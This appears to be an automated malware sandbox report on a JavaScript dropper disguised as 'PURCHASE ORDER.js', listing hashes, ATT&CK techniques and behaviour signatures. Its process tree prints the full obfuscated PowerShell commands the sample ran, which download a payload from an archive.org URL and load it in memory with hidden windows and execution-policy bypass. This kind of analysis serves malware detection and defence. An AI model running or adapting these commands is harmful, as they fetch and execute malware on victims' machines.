9953c57867a87d6d545da17a94580d567c4193ab28b70de8dd9ac253f11e2969

General

Target

PURCHASE ORDER.js
Size

319KB
MD5

e8114157714655fdbc7b51cde4f676de
SHA1

c23a2b3c76b2b7927f64cf74c3cf75b408a629e4
SHA256

d20d1cb56afa7818be3b26074bed7eae73e5480a5a8e0add5384bc9eddbc333d
SHA512

9f33a77504f56f4b0bce859d3b61f81cf3496a00d6cfd3aaef708f700149c72f1fb009f15e720a59b013a443c15b3c68a621358c624138b72f3409db53692c8b
SSDEEP

6144:1m06WlUzat6poIKNrZUG8IyWwmRn+CvA1HPucBzprZa8qYlVLY8/1PcKpOu4:w06WF6poIKN9UGDykRn+gA1HPu4zpNar

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2796	powershell.exe
4	2796	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2796	powershell.exe
2644	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2644	powershell.exe
2796	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 2644	2716	wscript.exe	31
PID 2716 wrote to memory of 2644	2716	wscript.exe	31
PID 2716 wrote to memory of 2644	2716	wscript.exe	31
PID 2644 wrote to memory of 2796	2644	powershell.exe	33
PID 2644 wrote to memory of 2796	2644	powershell.exe	33
PID 2644 wrote to memory of 2796	2644	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAGIATQBCAHUAcgBsACcAKwAnACAAPQAgAE4AVwAnACsAJwBxAGgAdAB0AHAAcwA6ACcAKwAnAC8AJwArACcALwAnACsAJwBpAGEAJwArACcAOQAnACsAJwAwADQAJwArACcANgAwACcAKwAnADEALgB1AHMALgBhAHIAJwArACcAYwBoAGkAdgBlAC4AbwByAGcAJwArACcALwA2AC8AJwArACcAaQB0ACcAKwAnAGUAbQBzAC8AZABlAHQAYQBoACcAKwAnAC0AbgBvAHQAZQAtAGoALwBEAGUAdABhAGgAJwArACcATgBvAHQAZQBKAC4AdAB4AHQATgBXAHEAOwBiAE0AQgBiACcAKwAnAGEAcwBlADYANABDAG8AbgB0AGUAbgB0ACAAJwArACcAPQAnACsAJwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AJwArACcATgAnACsAJwBlAHQALgAnACsAJwBXAGUAYgBDAGwAaQBlAG4AdAApAC4AJwArACcARABvAHcAbgAnACsAJwBsAG8AYQBkACcAKwAnAFMAJwArACcAdAByAGkAbgBnACgAYgBNAEIAdQByAGwAJwArACcAKQA7AGIATQAnACsAJwBCAGIAJwArACcAaQBuACcAKwAnAGEAcgB5AEMAbwBuAHQAZQBuAHQAIAA9ACAAJwArACcAWwAnACsAJwBTAHkAcwB0AGUAbQAuACcAKwAnAEMAJwArACcAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwAnACsAJwBlACcAKwAnADYANABTACcAKwAnAHQAcgBpAG4AZwAoAGIATQBCAGIAJwArACcAYQBzACcAKwAnAGUANgA0AEMAJwArACcAbwBuAHQAZQBuAHQAKQAnACsAJwA7AGIATQAnACsAJwBCAGEAJwArACcAcwBzAGUAbQBiACcAKwAnAGwAeQAgAD0AIABbAFIAZQBmAGwAZQBjAHQAaQAnACsAJwBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAGIATQBCAGIAaQBuACcAKwAnAGEAcgB5AEMAbwBuAHQAZQBuAHQAKQA7AGIATQAnACsAJwBCAHQAeQBwAGUAIAA9ACAAYgBNAEIAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5ACcAKwAnAHAAJwArACcAZQAoAE4AJwArACcAVwBxAFIAdQAnACsAJwBuAFAARQAuAEgAbwAnACsAJwBtAGUATgBXAHEAKQA7AGIATQBCAG0AZQB0AGgAbwBkACAAPQAgAGIATQBCAHQAeQBwAGUALgAnACsAJwBHAGUAdAAnACsAJwBNACcAKwAnAGUAdABoAG8AZAAoAE4AVwBxAFYAQQBJAE4AVwBxACkAOwBiACcAKwAnAE0AQgAnACsAJwBtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAYgBNAEIAbgB1ACcAKwAnAGwAbAAsACAAWwBvAGIAagAnACsAJwBlACcAKwAnAGMAdABbAF0AXQBAACgATgBXAHEAdAB4AHQAJwArACcALgBhAGYAYQAvAHYAZQBkAC4AJwArACcAMgByAC4AMwA5AGIAMwA0ADUAMwAwADIAYQAwADcANQBiADEAYgAnACsAJwBjADAAJwArACcAZAA0ADUAYgA2ADMAMgBlAGIAOQBlAGUANgAnACsAJwAyAC0AYgB1AHAALwAvADoAcwBwACcAKwAnAHQAdABoAE4AVwBxACcAKwAnACAALAAgAE4AVwBxAGQAZQBzAGEAJwArACcAdABpAHYAJwArACcAYQBkAG8ATgBXAHEAIAAnACsAJwAsACAAJwArACcATgAnACsAJwBXAHEAZABlAHMAYQB0AGkAdgBhAGQAbwBOAFcAcQAgACcAKwAnACwAIABOAFcAcQAnACsAJwBkAGUAcwBhAHQAaQB2AGEAJwArACcAZABvAE4AVwBxACwAJwArACcATgBXAHEAQQAnACsAJwBkAGQAJwArACcASQBuACcAKwAnAFAAcgBvAGMAZQAnACsAJwBzAHMAMwAyAE4AVwBxACwATgAnACsAJwBXAHEAZABlACcAKwAnAHMAYQAnACsAJwB0ACcAKwAnAGkAdgBhACcAKwAnAGQAJwArACcAbwBOAFcAJwArACcAcQApACkAJwArACcAOwAnACkALgBSAEUAUABMAGEAQwBFACgAKABbAGMASABhAFIAXQA5ADgAKwBbAGMASABhAFIAXQA3ADcAKwBbAGMASABhAFIAXQA2ADYAKQAsACcAJAAnACkALgBSAEUAUABMAGEAQwBFACgAKABbAGMASABhAFIAXQA3ADgAKwBbAGMASABhAFIAXQA4ADcAKwBbAGMASABhAFIAXQAxADEAMwApACwAWwBzAHQAUgBJAG4ARwBdAFsAYwBIAGEAUgBdADMAOQApAHwAIAAuACgAIAAkAHAAUwBIAG8AbQBlAFsAMgAxAF0AKwAkAHAAcwBoAE8AbQBlAFsAMwA0AF0AKwAnAFgAJwApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('bMBurl'+' = NW'+'qhttps:'+'/'+'/'+'ia'+'9'+'04'+'60'+'1.us.ar'+'chive.org'+'/6/'+'it'+'ems/detah'+'-note-j/Detah'+'NoteJ.txtNWq;bMBb'+'ase64Content '+'='+' (New-Object System.'+'N'+'et.'+'WebClient).'+'Down'+'load'+'S'+'tring(bMBurl'+');bM'+'Bb'+'in'+'aryContent = '+'['+'System.'+'C'+'onvert]::FromBas'+'e'+'64S'+'tring(bMBb'+'as'+'e64C'+'ontent)'+';bM'+'Ba'+'ssemb'+'ly = [Reflecti'+'on.Assembly]::Load(bMBbin'+'aryContent);bM'+'Btype = bMBassembly.GetTy'+'p'+'e(N'+'WqRu'+'nPE.Ho'+'meNWq);bMBmethod = bMBtype.'+'Get'+'M'+'ethod(NWqVAINWq);b'+'MB'+'method.Invoke(bMBnu'+'ll, [obj'+'e'+'ct[]]@(NWqtxt'+'.afa/ved.'+'2r.39b345302a075b1b'+'c0'+'d45b632eb9ee6'+'2-bup//:sp'+'tthNWq'+' , NWqdesa'+'tiv'+'adoNWq '+', '+'N'+'WqdesativadoNWq '+', NWq'+'desativa'+'doNWq,'+'NWqA'+'dd'+'In'+'Proce'+'ss32NWq,N'+'Wqde'+'sa'+'t'+'iva'+'d'+'oNW'+'q))'+';').REPLaCE(([cHaR]98+[cHaR]77+[cHaR]66),'$').REPLaCE(([cHaR]78+[cHaR]87+[cHaR]113),[stRInG][cHaR]39)| .( $pSHome[21]+$pshOme[34]+'X')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
253d6b2e02153c50db7a235cf1a146ab

SHA1
f054095d16d2b350a1a19e603eab5eac4a5b4c42

SHA256
9a512b8873c22c1af6e19dce58488e82fbca1266a827300b51f2e96d7ed955b0

SHA512
85d9a777936e9df315014a61316bef6bee62c146b24f768563cb00ba37821aec602710af82e136db0343f9226f82d924c51b892f5924ad3b237b0d1afcd253dc

Download Submit
memory/2644-4-0x000007FEF5B0E000-0x000007FEF5B0F000-memory.dmp

Filesize
4KB

Download
memory/2644-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/2644-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2644-7-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2644-8-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2644-9-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2644-10-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2644-12-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2644-17-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

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